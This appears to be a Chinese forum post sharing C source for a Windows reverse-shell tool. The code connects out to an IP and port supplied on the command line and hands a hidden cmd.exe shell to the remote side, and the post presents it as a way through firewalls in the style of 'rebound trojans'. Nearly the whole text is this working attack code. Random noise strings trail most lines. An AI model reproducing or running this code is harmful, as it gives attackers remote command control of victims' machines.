这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [b'fz
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/* ============================== 5eJd$}Lbc
Rebound port in Windows NT 6Z=H>w
By wind,2006/7 lvffQ_t
===============================*/ =Q/i<u
#include exvsf|
#include zt6ep=
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#pragma comment(lib,"wsock32.lib") 548BM^^"r
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void OutputShell(); djM=QafB:C
SOCKET sClient; "yk%/:G+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |+''d
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void main(int argc,char **argv) !9NAm?Fw
{ F*H}5yBp_:
WSADATA stWsaData; 2e=Hjf
)
int nRet; $4]PN2d&
SOCKADDR_IN stSaiClient,stSaiServer; :4d7%q
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if(argc != 3) &n
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{ m+ YgfR
printf("Useage:\n\rRebound DestIP DestPort\n"); yFqC-t-i
return; NST6pu\,U
} /0(KKZ)
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WSAStartup(MAKEWORD(2,2),&stWsaData); CTYkjeej
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CXA8V"@&b/
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stSaiClient.sin_family = AF_INET; "AVc^>
stSaiClient.sin_port = htons(0); DFMWgBL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mLO6`]p{H
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lVHJ}(<'p
{ HN+z7 Q8hH
printf("Bind Socket Failed!\n"); o-_a0j
return; OJaU,vQ#
} _JS'~JO3{
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stSaiServer.sin_family = AF_INET; Yc}b&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iuEdm:pW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E;N8{Ye_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;N|6C+y
{ HO>uS>+
printf("Connect Error!"); DWG}}vN:&
return; AF
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} Z)<>d.
OutputShell(); z; +x`i.
} smggr{-
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void OutputShell() x8[8z^BV?e
{ pH%K4bV)8
char szBuff[1024]; |NqQKot1
SECURITY_ATTRIBUTES stSecurityAttributes; 4-MA!&
OSVERSIONINFO stOsversionInfo; +?8nY.~,'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n"JrjvS
STARTUPINFO stStartupInfo; Kfh"XpWc$
char *szShell; 9Z=Bs)-y.
PROCESS_INFORMATION stProcessInformation; Y`wi=(
unsigned long lBytesRead; WG,{:|!E
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /dAIg1ra
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9ccEF6o0=
stSecurityAttributes.lpSecurityDescriptor = 0; VCI G+Gz
stSecurityAttributes.bInheritHandle = TRUE; 3HD=)k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <q|19fH-5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]Q+Tm2{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?AEpg.9R-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^t"\PpmK<d
stStartupInfo.wShowWindow = SW_HIDE; <m!\Ma
stStartupInfo.hStdInput = hReadPipe; *m2:iChY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {r"HR%*u
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GetVersionEx(&stOsversionInfo); y(HR1vQ;Z
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switch(stOsversionInfo.dwPlatformId) ev>: 3_ s
{ +Fk.B@KT,
case 1: F[lHG,g-
szShell = "command.com"; ?w.Yx$Z"
break; : v]< h
default: 6i%)'dl
szShell = "cmd.exe"; _$\T;m>'A
break; Ky+TgR
} D_@^XS
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )vw3Y88
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send(sClient,szMsg,77,0); j=7 ]"%
while(1) `'~|DG}a
{ /)|*Vzu
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GB0] |z5
if(lBytesRead) &{$\]sv
{ Fw|5A"9'a'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iS"rMgq
send(sClient,szBuff,lBytesRead,0); x`$4
} U7OW)tUf
else ~
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{ )Aj~ xA
lBytesRead=recv(sClient,szBuff,1024,0); f@yST z;u
if(lBytesRead<=0) break; RtSk;U1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rHMsA|xz6
} jYU#]
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} VB Ce=<
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return; |
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}